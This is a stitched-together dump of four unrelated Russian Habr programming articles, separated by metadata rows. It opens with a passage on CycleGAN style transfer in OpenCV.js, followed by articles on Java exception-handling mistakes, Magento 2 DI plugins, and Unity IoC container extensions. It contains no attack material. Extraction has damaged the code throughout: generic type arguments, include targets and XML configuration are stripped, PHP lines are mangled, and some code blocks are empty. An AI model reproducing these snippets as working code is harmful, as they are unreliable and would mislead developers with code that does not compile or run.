В нашем примере мы возьмём модели, которые превращают фотографии в картины художников. А именно, Винсента Ван Гога, Клода Моне, Поля Сезанна или в целый жанр японских гравюр Ukiyo-e. То есть в нашем распоряжении будет четыре отдельные сети. Стоит заметить, что для обучения каждой использовалась не одна картина художника, а целое множество, тем самым авторы пытались обучить нейронную сеть не перекладывать стиль одного произведения, а, как бы, перенять стиль письма.
OpenCV.js
---------
OpenCV — библиотека, разрабатываемая на языке C++, при этом для большей части ее функционала существует возможность создания автоматических оберток, которые вызывают нативные методы. Официально, поддерживаются обертки для языков Python и Java. Кроме того, существуют пользовательские решения для [Go](https://github.com/hybridgroup/gocv), [PHP](https://github.com/php-opencv). Если у вас есть опыт использования в других языках — было бы здорово узнать, в каких, и благодаря чьим стараниям.
OpenCV.js — это проект, который получил право на жизнь благодаря программе Google Summer of Code в 2017 году. К слову, когда-то и сам deep learning модуль OpenCV был создан и значительно улучшался в его рамках. В отличие от других языков, OpenCV.js на данный момент — это не обертка нативных методов в JavaScript, а полноценная компиляция с помощью Emscripten, использующего LLVM и Clang. Он позволяет сделать из вашего C и C++ приложения или библиотеки `.js` файл, который можно запускать, скажем, в браузере.
Для примера,
```
#include
int main(int argc, char\*\* argv) {
std::cout << "Hello, world!" << std::endl;
return 0;
}
```
Компилируем в `asm.js`
```
emcc main.cpp -s WASM=0 -o main.js
```
И подгружаем:
```
```
> 
Подключить OpenCV.js к своему проекту можно следующим образом (ночная сборка):
Полезным может также оказаться дополнительная библиотека для чтения изображений, работы с камерой и прочего, которая написана вручную на JavaScript:
Загрузка изображений
--------------------
Изображения в OpenCV.js могут быть прочитаны с элементов типа `canvas` или `img`. Это значит, что загрузка непосредственно файлов картинок на них остается задачей пользователя. Для удобства, вспомогательная функция `addFileInputHandler`, автоматически загрузит изображение в нужный элемент `canvas` при выборе картинки с диска по нажатию кнопки.
```
var utils = new Utils('');
utils.addFileInputHandler('fileInput', 'canvasInput');
var img = cv.imread('canvasInput');
```
где
```
```
Важным моментом является то, что `img` будет 4-х канальным RGBA изображением, что отличается от привычного поведения `cv::imread`, который создает BGR картинку. Это нужно учитывать, например, при портировании алгоритмов с других языков.
С отрисовкой всё просто — достаточно одного вызова `imshow` с указанием `id` нужного `canvas` (ожидает RGB или RGBA).
```
cv.imshow("canvasOutput", img);
```
### Алгоритм
Весь алгоритм обработки изображения — это запуск нейронной сети. Пусть то, что происходит внутри — останется магией, нам нужно будет только подготовить правильный вход и правильно интерпретировать предсказание (выход сети).
Сеть, рассматриваемая в этом примере, принимает на вход четырехмерный тензор со значениями типа `float` в интервале `[-1, 1]`. Каждая из размерностей, в порядке скорости изменения — это индекс картинки, каналы, высота и ширина. Такую укладку принято называть NCHW, а сам тензор — блобом (blob, binary large object). Задача предобработки заключается в том, чтобы преобразовать изображение OpenCV, значения интенсивностей которого лежат вперемешку (interleaved), имеют интервал значений `[0, 255]` типа `unsigned char` в NCHW блоб с диапазоном значений `[-1, 1]`.
*кусочек нижегородского кремля (как видит человек)*
*interleaved представление (как хранит OpenCV)*
*planar представление (то, что нужно сети)*
В качестве постобработки необходимо будет произвести обратные преобразования: сеть возвращает NCHW блоб со значениями в интервале `[-1, 1]`, который нужно перепаковать в картинку, нормировать в `[0, 255]` и перевести в `unsigned char`.
Таким образом, с учётом всех особенностей чтения и записи картинок OpenCV.js, у нас вырисовываются следующие шаги:
```
imread -> RGBA -> BGR [0, 255] -> NCHW [-1, 1] -> [сеть]
[сеть] -> NCHW [-1, 1] -> RGB [0, 255] -> imshow
```
Глядя на полученный конвейер, возникают вопросы, почему сеть не может работать сразу на interleaved RGBA и возвращать interleaved RGB? Почему нужны лишние преобразования по перестановке пикселей и нормировке? Ответ в том, что нейронная сеть — это математический объект, который выполняет преобразования над входными данными определенного распределения. В нашем случае её обучили принимать данные именно в таком виде, поэтому для получения желаемых результатов, придется воспроизвести предобработку, которую использовали авторы при обучении.
### Реализация
Нейронная сеть, которую мы будем запускать, хранится в виде бинарного файла, который нужно предварительно подгрузить в локальную файловую систему.
```
var net;
var url = 'style_vangogh.t7';
utils.createFileFromUrl('style_vangogh.t7', url, () => {
net = cv.readNet('style_vangogh.t7');
});
```
Кстати, `url` — это полноценная ссылка на файл. В данном случае мы просто подгружаем файл, лежащий рядом с текущей HTML страницей, но вы можете заменить её на [оригинальный источник](https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/models/style_vangogh.t7) (в таком случае время скачивания может быть больше).
Чтение изображения с `canvas` и конвертация из RGBA в BGR:
```
var imgRGBA = cv.imread('canvasInput');
var imgBGR = new cv.Mat(imgRGBA.rows, imgRGBA.cols, cv.CV_8UC3);
cv.cvtColor(imgRGBA, imgBGR, cv.COLOR_RGBA2BGR);
```
Создание 4D блоба, где функция `blobFromImage` выполняет конвертацию в тип данных `float`, применяя нормировочные константы. Затем — запуск сети.
```
var blob = cv.blobFromImage(imgBGR, 1.0 / 127.5, // множитель
{width: imgBGR.cols, height: imgBGR.rows}, // размеры
[127.5, 127.5, 127.5, 0]); // вычитание среднего
net.setInput(blob);
var out = net.forward();
```
Полученный результат преобразуется обратно в картинку нужного типа и интервалом значений `[0, 255]`
```
// Нормировка значений из интервала [-1, 1] в [0, 255]
var outNorm = new cv.Mat();
out.convertTo(outNorm, cv.CV_8U, 127.5, 127.5);
// Создание interleaved изображения из planar блоба
var outHeight = out.matSize[2];
var outWidth = out.matSize[3];
var planeSize = outHeight * outWidth;
var data = outNorm.data;
var b = cv.matFromArray(outHeight, outWidth, cv.CV_8UC1, data.slice(0, planeSize));
var g = cv.matFromArray(outHeight, outWidth, cv.CV_8UC1, data.slice(planeSize, 2 * planeSize));
var r = cv.matFromArray(outHeight, outWidth, cv.CV_8UC1, data.slice(2 * planeSize, 3 * planeSize));
var vec = new cv.MatVector();
vec.push_back(r);
vec.push_back(g);
vec.push_back(b);
var rgb = new cv.Mat();
cv.merge(vec, rgb);
// Отрисовка результата
cv.imshow("canvasOutput", rgb);
```
На данный момент, OpenCV.js собирается в полуавтоматическом режиме. В том смысле, что не все модули и методы из них получают соответствующие сигнатуры в JavaScript. Например, для dnn модуля список допустимых функций определяется так:
```
dnn = {'dnn_Net': ['setInput', 'forward'],
'': ['readNetFromCaffe', 'readNetFromTensorflow',
'readNetFromTorch', 'readNetFromDarknet',
'readNetFromONNX', 'readNet', 'blobFromImage']}
```
Последнее преобразование, разделяющее блоб на три канала и затем перемешивающее их в картинку, на самом деле, можно выполнить одним методом `imagesFromBlob`, которое просто ещё не добавили в список выше. Возможно, это будет твоим первым вкладом в развитие OpenCV? ;)
Заключение
----------
В качестве демонстрации, подготовил страничку на GitHub, где вы можете протестировать результирующий код: <https://dkurtaev.github.io/opencv4arts> (Осторожно! Скачивание сети около 22MB, берегите свой трафик. Также рекомендуется перезагружать страницу для каждого нового изображения, иначе качество последующих обработок как-то сильно искажается). Будьте готовы к долгому процессу обработки или попробуйте поменять размеры картинки, которая будет в результате, слайдером.
Работая над статьей и выбирая то самое изображение, которое станет ее лицом, случайно нашел фотографию своего знакомого, на которой изображен кремль нашего города и тут все сошлось — придумал название статьи и только тогда почувствовал, что именно такой она должна быть. Предлагаю вам испытать приложение на фотографии своего любимого места и, возможно, рассказать о нём что-нибудь интересное в комментариях или личным письмом.
От меня — забавный факт. Большинство жителей Нижнего Новгорода и Нижегородской области употребляют слово “убраться” в смысле слова “поместиться” (найти себе свободное место). Например, вопрос “Мы уберемся в вашей машине?” означает “Хватит ли нам места в вашей машине?”, а не “Можно ли нам навести порядок в вашей машине?”. Когда к нам на летние стажировки приезжают студенты из других областей, любим рассказывать этот факт — многие искренне удивляются.
Полезные ссылки
---------------
* [Документация по OpenCV.js](https://docs.opencv.org/master/d5/d10/tutorial_js_root.html)
* [Модели CycleGAN](https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/models/)
* [Другие style transfer модели](https://github.com/jcjohnson/fast-neural-style) (отличаются нормировкой) | https://habr.com/ru/post/437600/ | null | ru | null |
# Исправляем 7 распространенных ошибок обработки исключений в Java
Привет, Хабр! Представляю вашему вниманию перевод статьи [Fixing 7 Common Java Exception Handling Mistakes](https://dzone.com/articles/fixing-7-common-java-exception-handling-mistakes) автора Thorben Janssen.
Обработка исключения является одной из наиболее распространенных, но не обязательно одной из самых простых задач. Это все еще одна из часто обсуждаемых тем в опытных командах, и есть несколько передовых методов и распространенных ошибок, о которых вы должны знать.
Вот несколько вещей, которые следует избегать при обработке исключений в вашем приложении.
### Ошибка 1: объявление java.lang.Exception или java.lang.Throwable
Как вы уже знаете, вам нужно либо объявить, либо обработать проверяемое исключение. Но проверяемые исключения — это не единственные, которые вы можете указать. Вы можете использовать любой подкласс java.lang.Throwable в предложении throws. Таким образом, вместо указания двух разных исключений, которые выбрасывает следующий фрагмент кода, вы можете просто использовать исключение java.lang.Exception в предложении throws.
```
public void doNotSpecifyException() throws Exception {
doSomething();
}
public void doSomething() throws NumberFormatException, IllegalArgumentException {
// do something
}
```
Но это не значит, что вы должны это сделать. Указание Exeption или Throwable делает почти невозможным правильное обращение с ними при вызове вашего метода.Единственная информация, которую получает вызывающий вами метод, заключается в том, что что-то может пойти не так. Но вы не делитесь какой-либо информацией о каких-либо исключительных событиях, которые могут произойти. Вы скрываете эту информацию за обобщенными причинами выброса исключений.Становится еще хуже, когда ваше приложение меняется со временем. Выброс обобщенных исключений скрывает все изменения исключений, которые вызывающий должен ожидать и обрабатывать. Это может привести к нескольким непредвиденным ошибкам, которые необходимо найти в тестовом примере вместо ошибки компилятора.
#### Используйте конкретные классы
Гораздо лучше указать наиболее конкретные классы исключений, даже если вам приходится использовать несколько из них. Это сообщает вызывающему устройству, какие исключительные событий нужно обрабатывать. Это также позволяет вам обновить предложение throw, когда ваш метод выдает дополнительное исключение. Таким образом, ваши клиенты знают об изменениях и даже получают ошибку, если вы изменяете выбрасываемые исключения. Такое исключение намного проще найти и обработать, чем исключение, которое появляется только при запуске конкретного тестового примера.
```
public void specifySpecificExceptions() throws NumberFormatException, IllegalArgumentException {
doSomething();
}
```
### Ошибка 2: перехват обобщенных исключений
Серьезность этой ошибки зависит от того, какой программный компонент вы реализуете, и где вы обнаруживаете исключение. Возможно, было бы хорошо поймать java.lang.Exception в основном методе вашего приложения Java SE. Но вы должны предпочесть поймать определенные исключения, если вы реализуете библиотеку или работаете над более глубокими слоями вашего приложения.
Это дает несколько преимуществ. Такой подход позволяет обрабатывать каждый класс исключений по-разному и не позволяет вам перехватывать исключения, которых вы не ожидали.
Но имейте в виду, что первый блок catch, который обрабатывает класс исключения или один из его супер-классов, поймает его. Поэтому сначала обязательно поймайте наиболее специфический класс. В противном случае ваши IDE покажут сообщение об ошибке или предупреждении о недостижимом блоке кода.
```
try {
doSomething();
} catch (NumberFormatException e) {
// handle the NumberFormatException
log.error(e);
} catch (IllegalArgumentException e) {
// handle the IllegalArgumentException
log.error(e);
}
```
### Ошибка 3: Логирование и проброс исключений
Это одна из самых популярных ошибок при обработке исключений Java. Может показаться логичным регистрировать исключение там, где оно было брошено, а затем пробросить его вызывающему объекту, который может реализовать конкретную обработку для конкретного случая использования. Но вы не должны делать это по трем причинам:
1. У вас недостаточно информации о прецеденте, который хочет реализовать вызывающий объект вашего метода. Исключение может быть частью ожидаемого поведения и обрабатываться клиентом. В этом случае нет необходимости регистрировать его. Это добавит ложное сообщение об ошибке в файл журнала, который должен быть отфильтрован вашей операционной группой.
2. Сообщение журнала не предоставляет никакой информации, которая еще не является частью самого исключения. Его трассировка и трассировка стека должны содержать всю необходимую информацию об исключительном событии. Сообщение описывает это, а трассировка стека содержит подробную информацию о классе, методе и строке, в которой она произошла.
3. Вы можете регистрировать одно и то же исключение несколько раз, когда вы регистрируете его в каждом блоке catch, который его ловит. Это испортит статистику в вашем инструменте мониторинга и затрудняет чтение файла журнала для ваших операций и команды разработчиков.
#### Регистрируйте исключение там, где вы его обрабатываете
Таким образом, лучше всего регистрировать исключение тогда, когда вы его обрабатываете. Как в следующем фрагменте кода. Метод doSomething генерирует исключение. Метод doMore просто указывает его, потому что у разработчика недостаточно информации для его обработки. Затем он обрабатывается в методе doEvenMore, который также записывает сообщение журнала.
```
public void doEvenMore() {
try {
doMore();
} catch (NumberFormatException e) {
// handle the NumberFormatException
} catch (IllegalArgumentException e) {
// handle the IllegalArgumentException
}
}
public void doMore() throws NumberFormatException, IllegalArgumentException {
doSomething();
}
public void doSomething() throws NumberFormatException, IllegalArgumentException {
// do something
}
```
### Ошибка 4: использование исключений для управления потоком
Использование исключений для управления потоком вашего приложения считается анти-шаблоном по двум основным причинам:
Они в основном работают как оператор Go To, потому что они отменяют выполнение блока кода и переходят к первому блоку catch, который обрабатывает исключение. Это делает код очень трудным для чтения.
Они не так эффективны, как общие структуры управления Java. Как видно из названия, вы должны использовать их только для исключительных событий, а JVM не оптимизирует их так же, как и другой код.Таким образом, лучше использовать правильные условия, чтобы разбить свои циклы или инструкции if-else, чтобы решить, какие блоки кода должны быть выполнены.
### Ошибка 5: удалить причину возникновения исключения
Иногда вам может понадобиться обернуть одно исключение в другое. Возможно, ваша команда решила использовать специальное исключение для бизнеса с кодами ошибок и единой обработкой. Нет ничего плохого в этом подходе, если вы не устраните причину.
Когда вы создаете новое исключение, вы всегда должны устанавливать первоначальное исключение в качестве причины. В противном случае вы потеряете трассировку сообщения и стека, которые описывают исключительное событие, вызвавшее ваше исключение. Класс Exception и все его подклассы предоставляют несколько методов-конструкторов, которые принимают исходное исключение в качестве параметра и задают его как причину.
```
try {
doSomething();
} catch (NumberFormatException e) {
throw new MyBusinessException(e, ErrorCode.CONFIGURATION_ERROR);
} catch (IllegalArgumentException e) {
throw new MyBusinessException(e, ErrorCode.UNEXPECTED);
}
```
### Ошибка 6: Обобщение исключений
Когда вы обобщаете исключение, вы ловите конкретный, например, NumberFormatException, и вместо этого генерируете неспецифическое java.lang.Exception. Это похоже, но даже хуже, чем первая ошибка, которую я описал в этой статье. Он не только скрывает информацию о конкретном случае ошибки на вашем API, но также затрудняет доступ.
```
public void doNotGeneralizeException() throws Exception {
try {
doSomething();
} catch (NumberFormatException e) {
throw new Exception(e);
} catch (IllegalArgumentException e) {
throw new Exception(e);
}
}
```
Как вы можете видеть в следующем фрагменте кода, даже если вы знаете, какие исключения может вызвать метод, вы не можете просто их поймать. Вам нужно поймать общий класс Exception и затем проверить тип его причины. Этот код не только громоздкий для реализации, но его также трудно читать. Становится еще хуже, если вы сочетаете этот подход с ошибкой 5. Это удаляет всю информацию об исключительном событии.
```
try {
doNotGeneralizeException();
} catch (Exception e) {
if (e.getCause() instanceof NumberFormatException) {
log.error("NumberFormatException: " + e);
} else if (e.getCause() instanceof IllegalArgumentException) {
log.error("IllegalArgumentException: " + e);
} else {
log.error("Unexpected exception: " + e);
}
}
```
Итак, какой подход лучший?
#### Будьте конкретны и сохраняйте причину возникновения исключения.
Исключения, которые вы бросаете, должны всегда быть максимально конкретными. И если вы оборачиваете исключение, вы также должны установить исходный исключение в качестве причины, чтобы не потерять трассировку стека и другую информацию, описывающую исключительное событие.
```
try {
doSomething();
} catch (NumberFormatException e) {
throw new MyBusinessException(e, ErrorCode.CONFIGURATION_ERROR);
} catch (IllegalArgumentException e) {
throw new MyBusinessException(e, ErrorCode.UNEXPECTED);
}
```
### Ошибка 7: добавление ненужных преобразований исключений
Как я уже объяснял ранее, может быть полезно обернуть исключения в пользовательские, если вы установите исходное исключение в качестве причины. Но некоторые архитекторы переусердствуют и вводят специальный класс исключений для каждого архитектурного уровня. Таким образом, они улавливают исключение в уровне персистентности и переносят его в MyPersistenceException. Бизнес-уровень ловит и обертывает его в MyBusinessException, и это продолжается до тех пор, пока оно не достигнет уровня API или не будет обработано.
```
public void persistCustomer(Customer c) throws MyPersistenceException {
// persist a Customer
}
public void manageCustomer(Customer c) throws MyBusinessException {
// manage a Customer
try {
persistCustomer(c);
} catch (MyPersistenceException e) {
throw new MyBusinessException(e, e.getCode());
}
}
public void createCustomer(Customer c) throws MyApiException {
// create a Customer
try {
manageCustomer(c);
} catch (MyBusinessException e) {
throw new MyApiException(e, e.getCode());
}
}
```
Легко видеть, что эти дополнительные классы исключений не дают никаких преимуществ. Они просто вводят дополнительные слои, которые оборачивают исключение. И хотя было бы забавно обернуть подарок во множестве красочной бумаги, это не очень хороший подход к разработке программного обеспечения.
#### Обязательно добавьте информацию
Просто подумайте о коде, который должен обрабатывать исключение или о самом себе, когда вам нужно найти проблему, вызвавшую исключение. Сначала вам нужно прорваться через несколько уровней исключений, чтобы найти исходную причину. И до сегодняшнего дня я никогда не видел приложение, которое использовало этот подход, и добавляло полезную информацию с каждым слоем исключения. Они либо обобщают сообщение об ошибке и код, либо предоставляют избыточную информацию.
Поэтому будьте осторожны с количеством настраиваемых классов исключений, которые вы вводите. Вы всегда должны спрашивать себя, дает ли новый класс исключений дополнительную информацию или другие преимущества. В большинстве случаев для достижения этого вам не требуется более одного уровня пользовательских исключений.
```
public void persistCustomer(Customer c) {
// persist a Customer
}
public void manageCustomer(Customer c) throws MyBusinessException {
// manage a Customer
throw new MyBusinessException(e, e.getCode());
}
public void createCustomer(Customer c) throws MyBusinessException {
// create a Customer
manageCustomer(c);
}
``` | https://habr.com/ru/post/337536/ | null | ru | null |
# DI плагины в Magento 2
В Magento 2 вместо rewrite'ов, использовавшихся в первой версии, появились плагины, которые позволяют переопределить поведение большинства методов, перехватив поток выполнения тремя способами:
* before
* after
* around
Подробнее про плагины можно узнать в [документации](http://devdocs.magento.com/guides/v2.0/extension-dev-guide/plugins.html), а под катом — просто пример использования.
Задача
------
Допустим, для конечного пользователя важно, чтобы учет количества продуктов велся с привязкой к конкретному складу. Допустим, в базе создана новая таблица `warehouse` и учет количества продукта на складе ведется в таблице `warehouse_item`, где первичным ключом является комбинация идентификатора склада и идентификатора продукта:
```
CREATE TABLE warehouse_item (
product_id ...,
warehouse_id ...,
qty ...,
PRIMARY KEY (product_id, warehouse_id),
...
)
```
Т.о., в админке, в гриде продуктов при выводе нужно заместить данные в столбце "Quantity" (`cataloginventory_stock_item.qty`) их суммарным значением `SUM(warehouse_item.qty)`.
При анализе существующего кода выяснилось, что грид строится на основании данных, предоставляемых `Magento\Catalog\Ui\DataProvider\Product\ProductDataProvider`, а данные по количеству продукта добавляются в провайдер через настройки DI (`magento/module-catalog-inventory/etc/adminhtml/di.xml`):
```
Magento\CatalogInventory\Ui\DataProvider\Product\AddQuantityFieldToCollection
...
```
Вот код класса `AddQuantityFieldToCollection`:
```
namespace Magento\CatalogInventory\Ui\DataProvider\Product;
...
class AddQuantityFieldToCollection implements AddFieldToCollectionInterface
{
public function addField(Collection $collection, $field, $alias = null)
{
$collection->joinField(
'qty',
'cataloginventory_stock_item',
'qty',
'product_id=entity_id',
'{{table}}.stock_id=1',
'left'
);
}
}
```
Т.е., для того, чтобы метод `addField` не отрабатывал и не добавлял к коллекции количество продукта из `cataloginventory_stock_item`, нужно перехватить его выполнение при помощи плагина с использованием способа `around`.
Создание плагина
----------------
### Настройка DI
Регистрируем плагин в конфигурации DI нашего модуля (`etc/di.xml` или `etc/adminhtml/di.xml`):
```
xml version="1.0"?
```
### Код плагина
Для around-перехвата метода `addField` создаем в плагине метод `aroundAddField`, который "*делает ничего*":
```
namespace Vendor\Module\Plugin;
use Magento\CatalogInventory\Ui\DataProvider\Product\AddQuantityFieldToCollection as Subject;
class AddQuantityFieldToCollection {
public function aroundAddField(Subject $subject, \Closure $proceed) {
return;
}
}
```
Сгенерированный класс
---------------------
После очистки генерируемых файлов (`./var/generation/*`) и перехода чере Admin WebUI в грид продуктов код вновь созданного "перехватчика"" можно найти в файле `./var/generation/Magento/CatalogInventory/Ui/DataProvider/Product/AddQuantityFieldToCollection/Interceptor.php`:
```
php
namespace Magento\CatalogInventory\Ui\DataProvider\Product\AddQuantityFieldToCollection;
/**
* Interceptor class for @see
* \Magento\CatalogInventory\Ui\DataProvider\Product\AddQuantityFieldToCollection
*/
class Interceptor extends \Magento\CatalogInventory\Ui\DataProvider\Product\AddQuantityFieldToCollection implements \Magento\Framework\Interception\InterceptorInterface
{
use \Magento\Framework\Interception\Interceptor;
public function __construct()
{
$this-___init();
}
/**
* {@inheritdoc}
*/
public function addField(\Magento\Framework\Data\Collection $collection, $field, $alias = null)
{
$pluginInfo = $this->pluginList->getNext($this->subjectType, 'addField');
if (!$pluginInfo) {
return parent::addField($collection, $field, $alias);
} else {
return $this->___callPlugins('addField', func_get_args(), $pluginInfo);
}
}
}
```
Стектрейс вызовов
-----------------
Оранжевым подсвечен класс, сгенерированный Magento 2 (26-я строка — это `___callPlugins` после else), белым — наш собственный плагин.
Вывод
-----
Из стектрейса видно, что DI в Magento 2 подменяет классы, для которых заданы плагины, сгенерированным "перехватчиком", который последовательно применяет `before`, `after`, `around` "обертки" для оригинальных методов:
```
return $this->___callPlugins('addField', func_get_args(), $pluginInfo);
```
а иногда и сами оригинальные методы:
```
return parent::addField($collection, $field, $alias);
```
Ссылки
------
* [Developer Documentation (2.0) — Magento plug-ins](http://devdocs.magento.com/guides/v2.0/extension-dev-guide/plugins.html)
* [Magento 2 Object Manager Plugin System](http://alanstorm.com/magento_2_object_manager_plugin_system) | https://habr.com/ru/post/279413/ | null | ru | null |
# Расширение возможностей Unity
В этом посте я покажу пример того, как можно расширить стандартные возможности IoC-контейнера [Unity](http://msdn.microsoft.com/en-us/library/cc468366.aspx). Покажу как создается объект в Unity «изнутри». Расскажу про Unity Extensions, Strategies & Policies.
Допустим в нашем приложении есть компонент Persistence, который отвечает за сохранении объектов. Он описывается интерфейсом IPersistence и имеет реализации — FilePersistence, DbPersistence, WsPersistence, InMemoryPersistence.
В классическом варианте мы в начале приложения регистрируем нужную реализацию в Unity и далее, вызывая Resolve для IPersistence, всегда получаем ее.
> `IUnityContainer uc = new UnityContainer();
>
>
>
> uc.RegisterType();
>
> IPersistence p = uc.Resolve();
>
> p.Add(obj);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Но что делать, если необходимая реализация может меняться в процессе работы приложения. Например она задается в конфиг-файле, или при недоступности сети надо автоматически использовать FilePersistence?
В Unity есть возможность регистрировать зависимости по имени. Пример:
> `uc.RegisterType("none");
>
> uc.RegisterType("file");
>
> uc.RegisterType("db");
>
> uc.RegisterType("ws");
>
>
>
> IPersistence p = uc.Resolve("file"); // Получили file реализацию.
>
> IPersistence p = uc.Resolve("db"); // Получили dbреализацию.
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Осталось добиться, чтобы при получении реализации без имени, Unity каким-то образом определял какую нам нужно реализацию.
Пусть у нас будет делегат, который мы передадим Unity, определявший нужное имя реализации.
Пример:
> `uc.SetNameResolver(GetPersistenceImplementationName);
>
> IPersistence p = uc.Resolve(); // Тут мы получим ту реализацию, имя который вернул GetPersistenceImplementationName
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Стандартного способа в Unity для этого нет. Но мы решим проблему написанием своего расширения.
#### Unity Extensions
Расширение Unity — это класс, унаследованный от UnityContainerExtension. У него есть контекст расширения (ExtensionContext) и виртуальные методы Initialize() и Remove() (соответственно вызываются при инициализации и удалении расширения).
Добавляются расширения через методы контейнера AddNewExtension и AddExtension, удаляются через RemoveAllExtensions.
> `public class NameResolverExtension : UnityContainerExtension
>
> {
>
> protected override void Initialize()
>
> {
>
> }
>
>
>
> protected override void Remove()
>
> {
>
> }
>
>
>
> public NameResolverExtension()
>
> : base()
>
> {
>
> }
>
> }
>
>
>
> uc.AddNewExtension();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы расширение можно было конфигурировать, оно должно реализовывать интерфейс-конфигуратор, унаследованный от IUnityContainerExtensionConfigurator. Конфигурирование происходит через метод контейнера Configure.
> `// Наш делегат для получения имени
>
> public delegate string NameResolverDelegate(Type typeToBuild);
>
>
>
> // Интерфейс-конфигуратор
>
> public interface INameResolverExtensionConfigurator : IUnityContainerExtensionConfigurator
>
> {
>
> INameResolverExtensionConfigurator RegisterDelegatedName(
>
> NameResolverDelegate resolver);
>
> }
>
>
>
> static private string GetPersistenceImplementationName(Type typeToBuild)
>
> {
>
> // На самом деле тут мы должны читать конфиг...
>
> return "db";
>
> }
>
>
>
> uc.Configure()
>
> .RegisterDelegatedName(GetPersistenceImplementationName);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Strategy
Каждый зарегистрированный тип в Unity имеет свой build-ключ (buildKey). Он состоит из зарегистрированного типа и имени, под которым он был зарегистрирован.
Процесс Resolve в Unity реализован при помощи стратегий.
Стратегия — это класс реализующий интерфейс IBuilderStrategy. Он имеет четыре метода: PreBuildUp, PostBuildUp, PreTearDown, PostTearDown.
При вызове Resolve:
1. Создается список зарегистрированных стратегий;
2. Формируется build-ключ искомого типа и контекст построения (BuilderContext);
3. Контекст последовательно обрабатывается стратегиями до тех пор, пока одна из них не установит флаг BuildComplete в true.
В Unity есть 4 предопределенных стратегии, которые вызываются для каждого Resolve:
* BuildKeyMappingStrategy. Заменяет build-ключ в контексте с искомого типа на ключ реализации. По сути весь resolving тут и происходит;
* LifetimeStrategy. Проверяет наличие реализации в Lifetime-менеджере;
* ArrayResolutionStrategy. Разрешение зависимостей-массивов;
* BuildPlanStrategy. Создании экземпляра реализации (если он еще не создан) и автоматическое разрешение его зависимостей.
Мы напишем свою стратеги, которая будет подменять в build-ключе пустое имя на имя нужной реализации.
> `internal class ResolveNameBuilderStrategy : BuilderStrategy
>
> {
>
> private NamedTypeBuildKey ReplaceBuildKeyName(IBuilderContext context, NamedTypeBuildKey buildKey)
>
> {
>
> }
>
>
>
> public override void PreBuildUp(IBuilderContext context)
>
> {
>
> if (context.BuildKey is NamedTypeBuildKey)
>
> context.BuildKey = ReplaceBuildKeyName(context, (NamedTypeBuildKey)(context.BuildKey));
>
> }
>
>
>
> public ResolveNameBuilderStrategy()
>
> : base()
>
> {
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Т.к. поиск реализации по build-ключу происходит в стратегии BuildKeyMappingStrategy, то мы должны зарегистрировать свою стратегию так, чтобы она выполнилась раньше BuildKeyMappingStrategy. Стратегии сортируются в зависимости от этапа, который был указан при регистрации.
Всего есть 7 этапов — Setup, TypeMapping, Lifetime, PreCreation, Creation, Initialization, PostInitialization. BuildKeyMappingStrategy регистрируется на этап TypeMapping, значит нашу стратегию зарегистрируем на Setup. Регистрация будет происходить в методе Initialize нашего расширения.
> `public class NameResolverExtension : UnityContainerExtension, INameResolverExtensionConfigurator
>
> {
>
> protected override void Initialize()
>
> {
>
> Context.Strategies.AddNew(UnityBuildStage.Setup);
>
> }
>
>
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Policies
Еще одним важным механизмом в Unity являются политики.
Политика — это интерфейс, наследуемый от IBuilderPolicy и класс его реализующий.
В интерфейсе политики можно определять методы для любых действий. Сам IBuilderPolicy пустой.
Стратегия может получить из BuilderContext политику для заданного типа по build-ключу.
Создадим свою политику для получения нового имя по build-ключу.
> `internal interface IResolveNamePolicy : IBuilderPolicy
>
> {
>
> string ResolveName(NamedTypeBuildKey buildKey);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Используем ее в нашей стратегии.
> `internal class ResolveNameBuilderStrategy : BuilderStrategy
>
> {
>
> private NamedTypeBuildKey ReplaceBuildKeyName(
>
> IBuilderContext context, NamedTypeBuildKey buildKey)
>
> {
>
> IResolveNamePolicy policy = context.Policies.Get(buildKey);
>
>
>
> if (policy != null)
>
> return new NamedTypeBuildKey(buildKey.Type, policy.ResolveName(buildKey));
>
>
>
> return buildKey;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Добавлять стратегии можно в расширении через context. Политика добавляется для конкретного ключа, или как политика по-умолчанию.
Реализуем политику получения имя через делегат:
> `internal class ResolveNamePolicyDelegated : IResolveNamePolicy
>
> {
>
> protected readonly NameResolverDelegate Resolver;
>
>
>
> public ResolveNamePolicyDelegated(NameResolverDelegate resolver)
>
> : base()
>
> {
>
> Resolver = resolver;
>
> }
>
>
>
> public string ResolveName(NamedTypeBuildKey buildKey)
>
> {
>
> return Resolver(buildKey.Type);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для интерфейса политики IResolveNamePolicy может быть несколько реализация, например через делегат, через интерфейс, через обращение к конфигу.
Добавлять политику для конкретного build-ключа будем при конфигурировании нашего расширения.
> `public class NameResolverExtension : UnityContainerExtension, INameResolverExtensionConfigurator
>
> {
>
> public INameResolverExtensionConfigurator RegisterDelegatedName(NameResolverDelegate resolver)
>
> {
>
> Context.Policies.Set(
>
> new ResolveNamePolicyDelegated(resolver),
>
> NamedTypeBuildKey.Make());
>
>
>
> return this;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Результат
Наше расширение готово.
Теперь мы можем делать так:
> `IUnityContainer uc = new UnityContainer();
>
>
>
> uc.RegisterType("none");
>
> uc.RegisterType("file");
>
> uc.RegisterType("db");
>
> uc.RegisterType("ws");
>
>
>
> uc.AddNewExtension();
>
> uc.Configure().RegisterDelegatedName(GetPersistenceImplementationName);
>
>
>
> IPersistence p = uc.Resolve();
>
> p.Add(new Object()); // Будет использоваться та реализация, имя которой вернет GetPersistenceImplementationName
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Можно создать class helper для IUnityContainer чтобы можно было писать «SetNameResolver», как в начале и хотели.
Теперь при вызове Resolve:
* Первой запускается наша стратегия;
* Она получает политику для искомого build-ключа;
* Если для этого build-ключа существует политика, то build-ключ заменяется в контексте на ключ с именем из политики;
* Дальше Resolve работает так же как и раньше, но создает объект уже не для безымянного ключа, а для ключа с новым именем.
